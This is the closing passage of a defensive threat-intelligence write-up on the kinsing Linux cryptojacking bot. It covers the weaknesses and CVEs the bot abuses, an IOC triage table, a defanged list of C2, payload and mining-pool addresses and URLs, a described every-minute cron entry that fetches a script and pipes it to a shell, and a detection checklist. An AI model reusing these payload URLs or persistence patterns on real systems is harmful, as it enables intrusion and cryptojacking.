  • Map from evidence, not from guesses. If you cannot point to the data, leave the technique out.
  • Load the IDs into the ATT&CK Navigator to make a layer you can compare with other campaigns.

《 21. CTI: Targeted vulnerabilities and weaknesses 》

This case did not need a CVE: it abused weak configuration and trust. The kinsing family as a whole, however, is well known for quickly adding new exploits. Both lists matter for defenders.

■ Weaknesses abused in this case (evidence: Part I)

WeaknessHow it is abusedEvidence
Redis without AUTH or with a weak passwordAUTH <guess> brute and an OK checkredisBrute
Passphrase-less SSH private keys and broad trustkeys plus hosts harvested, then ssh with BatchModespreader script
Security agents removable by rootaegis, quartz and YunJing uninstalled; SELinux and AppArmor offspr.sh / al.sh
Writable and executable /tmp and /var/tmppayloads dropped and run from temp dirs/tmp/.ICEd-unix
Unrestricted server egressdownloads and C2 over :80, mining over :80network

■ Vulnerabilities exploited by the family in later or other campaigns (public reporting)

CVE / weaknessProductTypeReported by
Exposed Docker Engine APIDockermisconfiguration → container runRed Canary
Unauthenticated RedisRedismisconfiguration → RCERed Canary, CounterCraft
CVE-2020-11651 / CVE-2020-11652SaltStack Saltauth bypass / RCEIntezer, Red Canary
CVE-2019-19781Citrix ADC / GatewayRCERed Canary, CounterCraft
CVE-2017-9841PHPUnitRCEAqua Nautilus
CVE-2023-4911 (Looney Tunables)glibc ld.solocal privilege escalationAqua Nautilus
CVE-2023-46604Apache ActiveMQRCE (deserialization)Trend Micro
CVE-2023-32315Openfirepath traversal → RCESecurityWeek
CVE-2021-44228 (Log4Shell), Confluence RCELog4j, Atlassian ConfluenceRCEBleepingComputer
CVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpdRCE / path traversalCounterCraft

Other reporting also lists targets such as Apache NiFi, Apache Tomcat, Liferay Portal and Oracle WebLogic (The Hacker News). Only sources I could cross-check are listed here; please verify each CVE against your own vulnerability feed before using it for prioritization.

 What to learn here
  • For a cryptojacking crew the business model is speed and volume: it scans the internet for any known RCE or misconfiguration. Patch latency on internet-facing services is the real risk.
  • Use this list for prioritization: if you run any of these products exposed to the internet, check them first (CISA KEV is a good companion list).

《 22. CTI: IOC triage (enriched) 》

IOC triage means deciding, for each indicator, how reliable it is, whether it is still alive, and what action fits it. Blindly blocking everything causes outages; triage prevents that. The network indicators below are defanged (hxxp, [.]) and enriched with ASN and country from the infrastructure chapter. Sharing level: TLP:CLEAR.

IndicatorTypeRoleSourceConfidenceStatusTriage / recommended action
6bffa50350be7234071814181277ae79MD5kinsing botbinary infoHighstaticEDR/AV hunt; VirusTotal pivot
2cb455f23b352e27b1f2f60abd61b444d15fafb0SHA-1kinsing botbinary infoHighstaticsame as above
a71ad3167f9402d8c5388910862b16aeMD5kinsing version expected by spr.shspr.shMediumstatichunt; the sample itself is not verified in this post
5b439ea84bc00eb74217461d1c64342dMD5kdevtmpfsi miner (XMRig 5.5.0)embedded minerHighstaticEDR/AV hunt
fece7b18f2b763690b617f8649d4f9c8c93f6dc6SHA-1kdevtmpfsi minerembedded minerHighstaticsame as above
45a7ef83238f5244738bb5e7e3dd6299MD5"firewire" scanner expected by masscan()masscanMediumstatichunt; a public tool, so expect hits from benign use too
45.10.88[.]102IPv4C2 (HTTP :80)AS48693 NTSERVICE-AS (UA)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
91.215.169[.]111IPv4C2 (HTTP :80)AS49693 BEST-HOSTER (RU)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
139.99.50[.]255IPv4C2 (HTTP :80)AS16276 OVH (FR)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
46.243.253[.]167IPv4C2 (HTTP :80)AS58272 LEADERTELECOMBV-AS (NL)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
195.123.220[.]193IPv4C2 (HTTP :80)AS21100 ITLDC-NL (UA)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
217.12.221[.]244IPv4script / payload downloadAS15626 ITLAS (UA)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
195.3.146[.]118IPv4script / payload downloadAS41390 RN-DATA- (LV)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
45.89.230[.]240IPv4mining pool (stratum :80)AS51659 ASBAXET (RU)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
178.170.189[.]5IPv4mining pool (stratum :80)AS58272 LEADERTELECOMBV-AS (NL)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
92.63.99[.]17IPv4mining pool (stratum :80)AS29182 THEFIRST-AS (RU)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsingURLpayload mirrorspr.shHighlikely removedblock the exact URL only, never the whole site (legitimate service)
hxxps://pastebin[.]com/f4fYBPLeURLPatient-0 scriptschemeHighlikely removedblock the exact URL; hunt for paste-site downloads from servers
icanhazip.comdomainpublic IP lookup used by the spreaderspreaderLowlegitimatedo not block; use as a hunting signal from servers
42J8CF9s...S5Kdqh2XMR walletoperator's walletminer IDHigh–clustering / attribution pivot
Chrome/78.0.3904.108 UA + Arch/Cores/Uuid/Version headersnetworkC2 traffic fingerprintprotocolHighfamily-wideIDS/proxy rule (low FP from Linux servers)
/tmp/.ICEd-unix/, /var/lock/linux.lock, kdevtmpfsihostwork dir, lock file, miner11.1Highfamily-wideFIM / EDR / osquery hunt
every-minute cron entry fetching a script and piping it to a shellhostpersistence11.5Highfamily-widecrontab audit on every host

■ Copy-friendly IOC list (defanged)

# kinsing bot (Go ELF x86-64)
MD5   6bffa50350be7234071814181277ae79
SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0
# kinsing MD5 expected by spr.sh
MD5   a71ad3167f9402d8c5388910862b16ae
# embedded miner kdevtmpfsi (XMRig 5.5.0)
MD5   5b439ea84bc00eb74217461d1c64342d
SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
# scanner "firewire" MD5 expected by massscan script
MD5   45a7ef83238f5244738bb5e7e3dd6299

# C2 (tcp/80)
45.10.88[.]102
91.215.169[.]111
139.99.50[.]255
46.243.253[.]167
195.123.220[.]193
# script / payload download
217.12.221[.]244
195.3.146[.]118
# miner pools
stratum+tcp[:]//45.89.230[.]240:80
stratum+tcp[:]//178.170.189[.]5:80
stratum+tcp[:]//92.63.99[.]17:80

# URLs
hxxp://217.12.221[.]244/spr.sh
hxxp://217.12.221[.]244/spre.sh
hxxp://217.12.221[.]244/al.sh
hxxp://217.12.221[.]244/cron.sh
hxxp://217.12.221[.]244/kinsing
hxxp://195.3.146[.]118/spr.sh
hxxp://195.3.146[.]118/unk.sh
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing
hxxps://pastebin[.]com/f4fYBPLe

# host artifacts
/var/lock/linux.lock   (/run/lock/linux.lock)
/tmp/.ICEd-unix/       /tmp/.ICEd-unix/uuid   /tmp/.ICEd-unix/[A-Za-z]{5}
/tmp/kdevtmpfsi
/tmp/kinsing   /var/tmp/kinsing
crontab: every-minute entry fetching spr.sh from 195.3.146[.]118 (piped to a shell)
crontab: every-minute entry fetching unk.sh from 195.3.146[.]118 (piped to a shell)

# network artifacts
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904[.]108 Safari/537.36
HTTP headers: Arch: / Cores: / Mem: / Os: / Osname: / Osversion: / Root: / Uuid: / Version: 28
paths: /s /h /get /hers /mg /o /spre.sh /al.sh /cron.sh /kinsing

# miner wallet
42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
 What to learn here
  • Rank indicators with the Pyramid of Pain: hashes and IPs are easy for the attacker to change; host artifacts, header fingerprints and TTPs are painful to change, so they make better long-term detections.
  • Never block a legitimate service (paste sites, code hosting, IP-lookup sites) as a whole; block exact URLs and use the rest for hunting.
  • Record the status and date of every IOC. This infrastructure is dead now, so its value is retro-hunting in old logs, not live blocking.
Part III — Defense

《 23. Detection and mitigation checklist 》

A short checklist to find and stop this kind of infection, based only on what this analysis shows.

  • Processes: unknown Go binaries under /tmp or /var/tmp; kdevtmpfsi using high CPU; a kinsing child of init.
  • Files: /tmp/.ICEd-unix/, /var/lock/linux.lock, /tmp/kdevtmpfsi, /tmp/kinsing, and deleted-but-open files under /proc/*/fd.
  • Persistence: cron lines that download a script every minute and pipe it to a shell, for every user.
  • Network: HTTP with the Chrome 78 Windows User-Agent from a Linux server, the custom Arch/Cores/Uuid/Version headers, paths /s /h /get /o, stratum traffic on :80, and new high listening ports.
  • Hardening: Redis not exposed and protected by a password or ACL, no passphrase-less SSH keys on servers, a Docker API never open to the internet, and an alert when a security agent or syslog stops.
  • Response: dump the process memory and recover the deleted files first, then remove the cron entries, the binaries and the work directory, then rotate every SSH key the host had.
 What to learn here
  • Killing the miner process alone is not cleanup. The cron job brings it back within a minute, and the stolen SSH keys keep the door open to your other servers.

《 24. Epilogue 》

To wrap up: kinsing is not just a miner dropper. It is a full Go-written bot with encrypted C2 tasking, a remote shell, a SOCKS proxy, an on-demand backdoor, a self-updater, SSH-key based lateral movement, mass-scanning, Redis AUTH brute-forcing, and an aggressive killer of competing miners and of cloud security agents. One weak Redis or one leaked key is enough to start the chain, and the worm stage does the rest.

If you are a student, try to reproduce the reversing of a Go ELF yourself with radare2 in a safe, isolated environment and compare your results with these notes. If you are a defender, take the detection checklist and check your Linux fleet.

Read & use this knowledge with caution, this post is a Linux threat analysis education material
-----

@unixfreaxjp, malwaremustdie.org